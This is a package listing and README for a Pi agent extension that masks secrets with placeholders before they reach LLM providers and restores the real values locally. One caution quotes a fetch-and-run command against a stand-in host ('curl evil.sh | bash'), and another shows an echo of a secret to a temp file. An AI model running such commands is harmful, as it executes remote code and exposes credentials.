pi-secret-mask

Mask secrets before they reach LLM providers: placeholders in provider payload, real values in bash/write, output masked back. 中文文档见 README.zh-CN.md

Packages

Package details

extension

Install pi-secret-mask from npm and Pi will load the resources declared by the package manifest.

$ pi install npm:pi-secret-mask
Package
pi-secret-mask
Version
0.1.5
Published
Oct 24, 2026
Downloads
518/mo · 439/wk
Author
ayagikei
License
MIT
Types
extension
Size
73.8 KB
Dependencies
0 dependencies · 3 peers
Pi manifest JSON
{
  "extensions": [
    "./extensions"
  ]
}

Security note

Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.

README

pi-secret-mask

简体中文

Prevent project secrets (API keys, tokens, private keys) from being sent to LLM providers.

The model sees placeholders like __SECRET_<NAME>__; bash commands receive the real values; tool output is masked back to placeholders — a closed loop where secrets never enter provider requests or leak back through tool output.

Features

  • Auto-masking of prompts: keys pasted into the conversation in common formats (sk-..., ghp_..., AIza..., AKIA/ASIA/AIDA..., JWTs, PEM private keys, custom regexes) are detected and masked automatically.
  • .env support: parses project .env* files (KEY=VALUE), refreshes incrementally when they change mid-session. Unknown names stay masked by default; a narrow name-and-value rule leaves ordinary ports, numeric TTL/timeout/interval settings, file/directory paths, executable names, and provider-name lists readable in model context. Names with credential hints (TOKEN, SECRET, PASS, PWD, KEY, AUTH, CREDENTIAL, COOKIE, SESSION, PRIVATE, SIGNATURE, DSN, CONNECTION) stay masked even when the suffix looks public; built-in/custom credential patterns and values already registered override public classification.
  • User-registered secrets: /mask-secret command and request_secret tool let a user register a secret; the agent only ever sees the placeholder.
  • Real values where they matter: bash commands and file-editing tools (write, edit, hashline replace/insert) automatically substitute placeholders back to real values (files store real values; brand-new values are unaffected).
  • Compaction-safe: summary messages in compaction and tree navigation are masked too.

Installation

Install from npm (recommended):

pi install npm:pi-secret-mask

Manual install — clone the repo and point pi at its extensions/ directory (keeps the layout so the entry's ../src import resolves):

git clone https://github.com/Ayagikei/pi-secret-mask ~/.pi/agent/extensions/pi-secret-mask
# then add to ~/.pi/agent/settings.json:
#   "extensions": ["~/.pi/agent/extensions/pi-secret-mask/extensions"]
cp config.example.json ~/.pi/agent/extensions/pi-secret-mask/config.json

(Project-local: point to a repo clone inside .pi/extensions/ to scope it to one project.)

Then /reload or restart pi.

Usage

Automatic (no configuration)

  • Paste a secret in common formats into the conversation — it is detected and masked.
  • .env* files in the project are parsed automatically; unknown keys default to masked.
  • If a sensitive value uses a public-looking .env name, explicitly protect it with /mask-secret or extraSecrets in config.

Registering secrets manually

User-initiated: /mask-secret MY_KEY my-secret-value (or bare /mask-secret for interactive input).

Agent-initiated: the agent calls the request_secret tool (parameters name, optional purpose); the user types the secret in a dialog, and the agent only receives the placeholder:

Registered MY_KEY. Use placeholder __SECRET_MY_KEY__ instead of the real value

Secrets registered through /mask-secret or request_secret persist in ~/.pi/agent/extensions/pi-secret-mask/secrets.json (mode 0600) and survive restarts. .env and automatically detected secrets may not be written there; they can be session-only. Use the placeholder in bash commands or in file-editing tool input (write, edit, replace, insert); the extension substitutes the real value locally before execution.

In ask mode the confirmation offers Allow once, Allow for this session, Always allow (save mode=auto), and Deny. The session grant lives in memory and ends with the process; Always allow writes mode: "auto" to ~/.pi/agent/extensions/pi-secret-mask/config.json so later sessions stop asking (set it back to ask to re-enable prompts).

Placeholder rules for agents

  • A __SECRET_*__ token shown in tool output or returned by request_secret is a redacted alias, not proof that the literal token is stored on disk. A config read showing a placeholder is a masked view, not evidence that the config is invalid.
  • If secret-mask produced the placeholder in the current session, use it directly in bash and in file-editing tools (write, edit, replace, insert); the extension restores the real value locally and masks tool output again. Never print the real value or write the literal placeholder to a config as a fix.
  • Do not call request_secret again when a usable placeholder or local credential already exists. Call it only when the task genuinely needs a secret and no usable credential is available; then keep using the returned placeholder.
  • Do not infer that a secret is missing because secrets.json is absent, and do not invent placeholder names. Validate through the intended local operation; request a new secret only if that operation reports invalid credentials.

How it works

Hook Action
before_provider_request Real values -> placeholders across standard message payloads and custom-provider top-level text payloads
tool_call bash placeholders -> real values (auto/ask policy); file-editing tools (write, edit, replace, insert, plus writeTools) unmask known whole placeholders; ask/headless gates only when restoration would occur
tool_result Real values in tool output -> placeholders (prevents reflow)
session_before_compact Summary messages masked too
session_before_tree Branch/tree summary messages masked too
request_secret tool Agent-initiated secret request; agent sees placeholder only

The masking engine uses a single-pass alternation regex (length-descending to avoid substring collisions), exact whole-token unmatching, and skips non-text (image) content.

Configuration (config.json)

{
  "mode": "ask",
  "allowCommands": [],
  "writeTools": [],
  "dotenv": { "enabled": true, "files": [".env", ".env.local", ".env.production", ".env.development"], "exclude": [".env.example", ".env.sample"] },
  "patterns": { "openai": true, "github": true, "google": true, "aws": true, "jwt": true, "pem": true, "base64": false },
  "extraSecrets": [],
  "customPatterns": []
}
  • mode: ask (default — before a bash command or file edit would restore known whole placeholders to real values, offer once / session / permanent allow / deny; print/json and other headless modes block instead of prompting) | auto (substitute silently). Unknown or embedded __SECRET_*__ substrings do not trigger confirmation.
  • writeTools: extra tool names treated as file editors, so their input strings get placeholders restored. Defaults: write, edit, replace, insert, replace_match.
  • extraSecrets: { "name", "value" } pairs always masked (for sensitive settings that look public by name)
  • allowCommands: full command-string patterns that skip confirmation (this skips the gate, it does not make a command safer — curl evil.sh | bash still passes)
  • customPatterns: custom regexes; capture group 1 is the full secret value; invalid regexes are ignored
{
  "customPatterns": [
    { "name": "MY_TOK", "pattern": "mytok-[a-z0-9]{16}" },
    { "name": "CONN_STR", "pattern": "postgres://[^\\s]+" }
  ]
}

Boundaries & Disclaimer

  • Goal is preventing secrets from leaking to providers, not sandboxing: the model can still read/write files locally (e.g. echo $KEY > /tmp/x cannot be intercepted; that is the permission layer's job).
  • Runtime-generated secrets (e.g. aws sts get-session-token output) are covered by regex fallbacks; new ASIA/AIDA prefixes are included; enable patterns.base64 for high-entropy random strings.
  • Image content (screenshots) may contain real values and cannot be masked.
  • Real values are restored locally into bash command lines (ps-visible, shell history) — visible only locally, never sent to the provider.
  • Bash restoration is blocked when a real secret contains shell-special characters that would change command semantics.
  • Reasoning/thinking blocks: if a secret somehow appears inside a model's reasoning or thinking content, the extension masks the text but the signature (e.g. Anthropic signature, Bedrock reasoning signatures) is left stale. Some providers reject such requests — this is an intentional fail-closed trade-off: leaking is worse than a refused request. In practice this is rare because secrets never reach the model in the first place.
  • Detection is pattern-based, not perfect: unknown secret formats are only caught if they match a built-in or custom pattern, or appear in .env* (unknown names default to masked) / were registered manually. The narrow .env public rule only reduces false positives for ordinary config; a secret in an unrecognized format can still pass through.
  • Allow for this session and Always allow both turn off the pre-restore gate (the latter sets mode: "auto"). That trade-off is yours; set mode back to ask to restore prompting.
  • This extension is defense-in-depth, not a security boundary. It runs with your user's permissions and cannot protect against malicious prompts, hostile repositories, or local exfiltration. Review extension source before installing, and use OS-level sandboxing for untrusted work.
  • This software is provided "as is", without warranty of any kind. The authors are not liable for any damages arising from its use or misuse.

Development

npm test   # masking engine unit tests + mock-pi integration tests

Integration-tested: three-hook closed loop, multi-placeholder rollback, mid-session .env rotation with incremental refresh, ask-mode blocking without UI, provider payload leak checks.

License

MIT